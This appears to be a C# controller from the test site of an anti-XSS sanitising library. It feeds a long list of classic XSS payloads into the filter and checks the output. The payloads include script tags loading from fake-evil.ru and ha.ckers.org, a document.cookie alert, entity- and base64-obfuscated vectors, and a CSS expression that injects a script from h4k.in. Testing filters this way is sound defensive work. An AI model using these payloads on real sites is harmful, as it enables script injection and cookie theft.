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AntiXssUF/AntiXssUF.TestSite/Controllers/HomeController.cs

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C#
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首次发布
2020-03-13 02:30:28 +08:00
using System;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Text;
using System.Web;
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Logging;
using AntiXssUF.TestSite.Models;
using Ufangx.Xss;
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using System.Collections.Generic;
using System.Linq;
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namespace AntiXssUF.TestSite.Controllers
{
public class HomeController : Controller
{
private readonly ILogger<HomeController> _logger;
HomeController
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private readonly IFilterPolicyFactory policyFactory;
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private StringBuilder html;
HomeController
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public HomeController(ILogger<HomeController> logger, IFilterPolicyFactory policyFactory)
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{
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_logger = logger;
HomeController
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this.policyFactory = policyFactory;
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}
void FilterAttacks(RichText richText, Func<string, bool> fn, [CallerMemberName] string propertyName = null)
{
html.Append($"\n==== in {propertyName} ==================================================\n原文:\n{ HttpUtility.HtmlEncode(richText.Source)}\n");
html.Append("过滤\n");
string clean = richText.ToString();
html.Append(HttpUtility.HtmlEncode(clean));
html.Append($"\n状态：{fn(clean)}");
}
void testScriptAttacks()
{
FilterAttacks("<script src=\"/test.js\"></script>", str => str.IndexOf("script", StringComparison.OrdinalIgnoreCase) == -1);
FilterAttacks("test<script>alert(document.cookie)</script>", str => str.IndexOf("script", StringComparison.OrdinalIgnoreCase) == -1);
FilterAttacks("<<<><<script src=http://fake-evil.ru/test.js>", str => str.IndexOf("<script", StringComparison.OrdinalIgnoreCase) == -1);
FilterAttacks("<script<script src=http://fake-evil.ru/test.js>>", str => str.IndexOf("<script", StringComparison.OrdinalIgnoreCase) == -1);
FilterAttacks("<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", str => str.IndexOf("<script", StringComparison.OrdinalIgnoreCase) == -1);
FilterAttacks("<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>", str => str.IndexOf("onload", StringComparison.OrdinalIgnoreCase) == -1);
FilterAttacks("<BODY ONLOAD=alert('XSS')>", str => str.IndexOf("alert") == -1);
FilterAttacks("<iframe src=http://ha.ckers.org/scriptlet.html <", str => str.IndexOf("<iframe", StringComparison.OrdinalIgnoreCase) == -1);
FilterAttacks("<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">", str => str.IndexOf("src", StringComparison.OrdinalIgnoreCase) == -1);
}
void testImgAttacks()
{
FilterAttacks("<img src='http://www.myspace.com/img.gif'>", str => str.IndexOf("<img", StringComparison.OrdinalIgnoreCase) != -1);
FilterAttacks("<img src=javascript:alert(document.cookie)>", str => str.IndexOf("<img", StringComparison.OrdinalIgnoreCase) == -1);
FilterAttacks("<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>",
str => str.IndexOf("<img",StringComparison.OrdinalIgnoreCase) == -1);
FilterAttacks("<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>", str => str.IndexOf("&amp;", StringComparison.OrdinalIgnoreCase) != -1);
FilterAttacks("&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>", str => str.IndexOf("&amp;", StringComparison.OrdinalIgnoreCase) != -1);
FilterAttacks("<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>", str => str.IndexOf("&amp;", StringComparison.OrdinalIgnoreCase) != -1);
FilterAttacks("<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">", str => str.IndexOf("alert", StringComparison.OrdinalIgnoreCase) == -1);
FilterAttacks("<IMG SRC=\"javascript:alert('XSS')\"", str => str.IndexOf("javascript", StringComparison.OrdinalIgnoreCase) == -1);
FilterAttacks("<IMG LOWSRC=\"javascript:alert('XSS')\">", str => str.IndexOf("javascript", StringComparison.OrdinalIgnoreCase) == -1);
FilterAttacks("<BGSOUND SRC=\"javascript:alert('XSS');\">", str => str.IndexOf("javascript", StringComparison.OrdinalIgnoreCase) == -1);
}
void testHrefAttacks()
{
FilterAttacks("<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">", str => str.IndexOf("href") == -1);
FilterAttacks("<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">", str => str.IndexOf("href") == -1);
FilterAttacks("<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>", str => str.IndexOf("ha.ckers.org") == -1);
FilterAttacks("<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>", str => str.IndexOf("ha.ckers.org") == -1);
FilterAttacks("<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>", str => str.IndexOf("xss.htc") == -1);
FilterAttacks("<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS", str => str.IndexOf("javascript") == -1);
FilterAttacks("<IMG SRC='vbscript:msgbox(\"XSS\")'>", str => str.IndexOf("vbscript") == -1);
FilterAttacks("<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">", str => str.IndexOf("<meta") == -1);
FilterAttacks("<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">", str => str.IndexOf("<meta") == -1);
FilterAttacks("<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">", str => str.IndexOf("<meta") == -1);
FilterAttacks("<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>", str => str.IndexOf("iframe") == -1);
FilterAttacks("<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>", str => str.IndexOf("javascript") == -1);
FilterAttacks("<TABLE BACKGROUND=\"javascript:alert('XSS')\">", str => str.IndexOf("background") == -1);
FilterAttacks("<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">", str => str.IndexOf("background") == -1);
FilterAttacks("<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">", str => str.IndexOf("javascript") == -1);
FilterAttacks("<DIV STYLE=\"width: expression(alert('XSS'));\">", str => str.IndexOf("alert") == -1);
FilterAttacks("<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">", str => str.IndexOf("alert") == -1);
FilterAttacks("<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>", str => str.IndexOf("ript:alert") == -1);
FilterAttacks("<BASE HREF=\"javascript:alert('XSS');//\">", str => str.IndexOf("javascript") == -1);
FilterAttacks("<BaSe hReF=\"http://arbitrary.com/\">", str => str.IndexOf("<base") == -1);
FilterAttacks("<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>", str => str.IndexOf("<object") == -1);
FilterAttacks("<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>", str => str.IndexOf("<object") == -1);
FilterAttacks("<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>", str => str.IndexOf("<embed") == -1);
FilterAttacks("<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>", str => str.IndexOf("<embed") == -1);
FilterAttacks("<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", str => str.IndexOf("<script") == -1);
FilterAttacks("<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", str => str.IndexOf("<script") == -1);
FilterAttacks("<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", str => str.IndexOf("<script") == -1);
FilterAttacks("<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", str => str.IndexOf("<script") == -1);
FilterAttacks("<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", str => str.IndexOf("script") == -1);
FilterAttacks("<SCRIPT SRC=http://ha.ckers.org/xss.js", str => str.IndexOf("<script") == -1);
FilterAttacks("<div/style=&#92&#45&#92&#109&#111&#92&#122&#92&#45&#98&#92&#105&#92&#110&#100&#92&#105&#110&#92&#103:&#92&#117&#114&#108&#40&#47&#47&#98&#117&#115&#105&#110&#101&#115&#115&#92&#105&#92&#110&#102&#111&#46&#99&#111&#46&#117&#107&#92&#47&#108&#97&#98&#115&#92&#47&#120&#98&#108&#92&#47&#120&#98&#108&#92&#46&#120&#109&#108&#92&#35&#120&#115&#115&#41&>", str => str.IndexOf("style") == -1);
FilterAttacks("<a href='aim: &c:\\windows\\system32\\calc.exe' ini='C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\pwnd.bat'>", str => str.IndexOf("aim.exe") == -1);
FilterAttacks("<!--\n<A href=\n- --><a href=javascript:alert:document.domain>test-->", str => str.IndexOf("javascript") == -1);
FilterAttacks("<a></a style=\"\"xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')\">", str => str.IndexOf("document") == -1);
}
void testCssAttacks()
{
FilterAttacks("<div style=\"position:absolute\">", str => str.IndexOf("position") == -1);
FilterAttacks("<style>b { position:absolute;color:red; }</style>", str => str.IndexOf("position") == -1);
FilterAttacks("<div style=\"z-index:25\">", str => str.IndexOf("position") == -1);
FilterAttacks("<style>z-index:25</style>", str => str.IndexOf("position") == -1);
}
public IActionResult Index()
{
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IEnumerable<object> list = null;
if( !(list?.Count()).HasValue) {
}
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//RichText richText = "<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">";
//string ss = richText;
////var policy = policyFactory.CreatePolicy("json").Result;
////var str = Newtonsoft.Json.JsonConvert.SerializeObject(new
////{
//// policy.Directives,
//// policy.CommonRegularExpressions,
//// CommonAttributes = policy.CommonAttributes.Select(e => e.Value),
//// CssRules = policy.CssRules.Select(e => e.Value),
//// GlobalAttributes = policy.GlobalAttributes.Values,
//// TagRules = policy.TagRules.Values
////}, new Newtonsoft.Json.JsonSerializerSettings() { NullValueHandling = Newtonsoft.Json.NullValueHandling.Ignore });
//
Stopwatch stopwatch = new Stopwatch();
stopwatch.Start();
html = new StringBuilder();
FilterAttacks("<IMG SRC=java\0script:alert(\"XSS\")>", str => str.IndexOf("<img", StringComparison.OrdinalIgnoreCase) == -1);
testCssAttacks();
testHrefAttacks();
testScriptAttacks();
testImgAttacks();
stopwatch.Stop();
html.Append($"\n==============程序运行的时间：{stopwatch.Elapsed.TotalMilliseconds}毫秒");
ViewBag.html = html.ToString();
return View();
}
[HttpGet]
public IActionResult Test()
{
ViewBag.html ="";
return View();
}
[HttpPost]
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public IActionResult Test(TestModel model)
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{
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ViewBag.html = model?.RichText?.ToString();
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return View();
}
[ResponseCache(Duration = 0, Location = ResponseCacheLocation.None, NoStore = true)]
public IActionResult Error()
{
return View(new ErrorViewModel { RequestId = Activity.Current?.Id ?? HttpContext.TraceIdentifier });
}
}
}
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